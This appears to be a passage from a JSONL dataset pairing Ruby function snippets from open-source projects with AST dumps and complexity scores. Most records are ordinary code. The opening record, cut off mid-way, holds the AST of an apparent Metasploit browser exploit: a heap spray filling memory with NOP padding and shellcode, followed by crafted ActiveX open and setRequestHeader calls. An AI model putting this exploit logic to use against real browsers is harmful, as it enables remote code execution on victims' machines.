\\\"%u\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr_word\"]}]},{\"type\":\"str\",\"children\":[\"\\\" ) ;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  while (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_buffer\"]}]},{\"type\":\"str\",\"children\":[\".length * 2 < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_nopsize\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_buffer\"]}]},{\"type\":\"str\",\"children\":[\"+=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_buffer\"]}]},{\"type\":\"str\",\"children\":[\" ;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_limit\"]}]},{\"type\":\"str\",\"children\":[\" = (0x12000000 - 0x400000) / 0x400000;\\n\"]},{\"type\":\"str\",\"children\":[\"  var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_x\"]}]},{\"type\":\"str\",\"children\":[\" = new Array() ;\\n\"]},{\"type\":\"str\",\"children\":[\"  for ( var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" =0 ; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_limit\"]}]},{\"type\":\"str\",\"children\":[\" ; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"++ ) {\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_x\"]}]},{\"type\":\"str\",\"children\":[\"[ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" ] =\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_buffer\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_shellcode\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\"  }\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\" = null;\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\" = document.getElementById('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_id\"]}]},{\"type\":\"str\",\"children\":[\"').object;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  try {\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".open(new Array(), new Array(), new Array(), new Array(), new Array());\\n\"]},{\"type\":\"str\",\"children\":[\"  } catch(e) {};\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".open(new Object(), new Object(), new Object(), new Object(), new Object());\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), '......' );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_obj\"]}]},{\"type\":\"str\",\"children\":[\".setRequestHeader( new Object(), 0x12345678 );\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"</script>\\n\"]},{\"type\":\"str\",\"children\":[\"</body>\\n\"]},{\"type\":\"str\",\"children\":[\"</html>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"randomize_space\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"9516b4f4-a47c-43df-bbf7-18b1ed24593f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/file_store_test.rb","start_line":62,"raw_source":"def test_key_transformation\n    key = @cache.send(:normalize_key, \"views/index?id=1\", {})\n    assert_equal \"views/index?id=1\", @cache.send(:file_path_key, key)\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_key_transformation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"send\",{\"type\":\"sym\",\"children\":[\"normalize_key\"]},{\"type\":\"str\",\"children\":[\"views/index?id=1\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"views/index?id=1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"send\",{\"type\":\"sym\",\"children\":[\"file_path_key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"a105632d-f94b-4a66-85ec-fdcd0f7b030c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_exception.rb","start_line":33,"raw_source":"def on_send(node)\n          fix_exploded(node) || fix_compact(node)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fix_exploded\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"fix_compact\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"c8d4519e-8a38-4ce0-868f-5ee36c0f3319"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_theme_settings_editor.rb","start_line":11,"raw_source":"def set_input(settings)\n        editor.set_input(settings)\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_input\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"settings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"editor\"]},\"set_input\",{\"type\":\"lvar\",\"children\":[\"settings\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"10080176-929f-4caf-afad-cc6d7bba9310"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/networking/vyos_config.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'VyOS Configuration Importer',\n        'Description' => %q{\n          This module imports a VyOS device configuration.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'h00die' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPath.new('CONFIG', [true, 'Path to configuration to import']),\n        Opt::RHOST(),\n        Opt::RPORT(22)\n      ]\n    )\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"VyOS Configuration Importer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module imports a VyOS device configuration.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"CONFIG\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to configuration to import\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[22]}]}]}]}]}]}","id":"a02ecc3f-4876-4087-af35-1e56c7fe68df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/bridge.rb","start_line":227,"raw_source":"def yaml_for_downstream\n      strong_memoize(:yaml_for_downstream) do\n        includes = options&.dig(:trigger, :include)\n        YAML.dump('include' => includes) if includes\n      end\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"yaml_for_downstream\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"yaml_for_downstream\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"includes\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"sym\",\"children\":[\"include\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"includes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"include\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]}]}]},null]}]}]}]}","id":"2c138bb0-a71a-43c2-832b-8726dda1b091"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/work_packages/base_contract.rb","start_line":659,"raw_source":"def user_was_or_is_assignee?\n      model.assigned_to_id_changed? ? model.assigned_to_id_was == user.id : model.assigned_to_id == user.id\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user_was_or_is_assignee?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"assigned_to_id_changed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"assigned_to_id_was\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"assigned_to_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}","id":"62e12e16-6f38-48ca-8b05-dab410cdf162"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dcerpc/uuid.rb","start_line":35,"raw_source":"def self.is? (uuid_str)\n    raise ArgumentError if !uuid_str\n    if uuid_str.match(/^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$/)\n      return true\n    else\n      return false\n    end\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uuid_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid_str\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid_str\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"10cb1d80-c9ae-450d-9358-ee4fcdb30617"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/tunes_client.rb","start_line":1302,"raw_source":"def iaps(app_id: nil)\n      r = request(:get, \"ra/apps/#{app_id}/iaps\")\n      return r.body[\"data\"]\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"iaps\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ra/apps/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"str\",\"children\":[\"/iaps\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]}]}]}]}","id":"5eee7de2-31b8-46ed-abc8-4649209bebdc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/date_calculator/weekend_modifier.rb","start_line":50,"raw_source":"def to_weekday_if_boxing_weekend_from_year(year)\n        to_tuesday_if_sunday_or_monday_if_saturday(Date.civil(year, 12, 26))\n      end","complexity_score":2.9,"ast_json":"{\"type\":\"def\",\"children\":[\"to_weekday_if_boxing_weekend_from_year\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"year\"]}]},{\"type\":\"send\",\"children\":[null,\"to_tuesday_if_sunday_or_monday_if_saturday\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"lvar\",\"children\":[\"year\"]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[26]}]}]}]}","id":"0fda0f9f-921d-45ea-8108-680c2e24ac45"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/context_menu.rb","start_line":41,"raw_source":"def open_for(work_package, check_if_open: true, card_view: nil)\n        # Close\n        find(\"body\").send_keys :escape\n        sleep 0.5 unless using_cuprite?\n\n        retry_block do\n          if card_view\n            page.find(\".op-wp-single-card-#{work_package.id}\").right_click\n          else\n            page.find(\".wp-row-#{work_package.id}-table\").right_click\n          end\n\n          if check_if_open && !page.find(:menu, work_package_context_menu_label)\n            raise \"Menu not open\"\n          end\n        end\n      rescue StandardError\n        expect_open if check_if_open\n      end","complexity_score":39.08,"ast_json":"{\"type\":\"def\",\"children\":[\"open_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"kwoptarg\",\"children\":[\"check_if_open\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"card_view\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"body\"]}]},\"send_keys\",{\"type\":\"sym\",\"children\":[\"escape\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_cuprite?\"]},null,{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_block\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"card_view\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".op-wp-single-card-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]}]}]},\"right_click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".wp-row-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"-table\"]}]}]},\"right_click\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_if_open\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"sym\",\"children\":[\"menu\"]},{\"type\":\"send\",\"children\":[null,\"work_package_context_menu_label\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Menu not open\"]}]},null]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check_if_open\"]},{\"type\":\"send\",\"children\":[null,\"expect_open\"]},null]}]},null]}]}","id":"048da5d2-f8d8-40d8-be67-b363d93de152"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/message_creator.rb","start_line":43,"raw_source":"def click_cta\n          component.find(\".chat-message-creator__open-dm-btn\").click\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_cta\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"find\",{\"type\":\"str\",\"children\":[\".chat-message-creator__open-dm-btn\"]}]},\"click\"]}]}","id":"7bf56591-694b-4511-b6ec-8dae750a958f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/memory_chunk.rb","start_line":69,"raw_source":"def purge\n          super\n          @chunk.clear\n          @chunk_bytes = @size = @adding_bytes = @adding_size = 0\n          true\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"purge\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"clear\"]},{\"type\":\"ivasgn\",\"children\":[\"@chunk_bytes\",{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"ivasgn\",\"children\":[\"@adding_bytes\",{\"type\":\"ivasgn\",\"children\":[\"@adding_size\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6c4bfc92-890c-439b-82bd-0d01977d7dce"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/product_scopes.rb","start_line":331,"raw_source":"def self.prepare_words(words)\n        return [''] if words.blank?\n\n        a = words.split(/[,\\s]/).map(&:strip)\n        a.any? ? a : ['']\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepare_words\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"words\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"words\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[,\\\\s]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"any?\"]},{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}","id":"a9e33503-501d-47d3-b6a3-80445f53811a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/median.rb","start_line":9,"raw_source":"def initialize(stage:, query:, params: {})\n          @stage = stage\n          @query = query\n          @params = params\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"stage\"]},{\"type\":\"kwarg\",\"children\":[\"query\"]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stage\",{\"type\":\"lvar\",\"children\":[\"stage\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"f066602e-61d1-49ca-8dc3-b35997e56d17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/set_crm_contacts_service.rb","start_line":134,"raw_source":"def too_many_emails?\n      params[:add_emails] && params[:add_emails].length > MAX_ADDITIONAL_CONTACTS\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"too_many_emails?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"add_emails\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"add_emails\"]}]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_ADDITIONAL_CONTACTS\"]}]}]}]}","id":"f0b1fdbd-a31c-4419-b408-a01628e31c9d"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/testing.rb","start_line":323,"raw_source":"def jobs_for(klass)\n      jobs.select do |job|\n        marshalled = job[\"args\"][0]\n        marshalled.index(klass.to_s) && YAML.safe_load(marshalled)[0] == klass\n      end\n    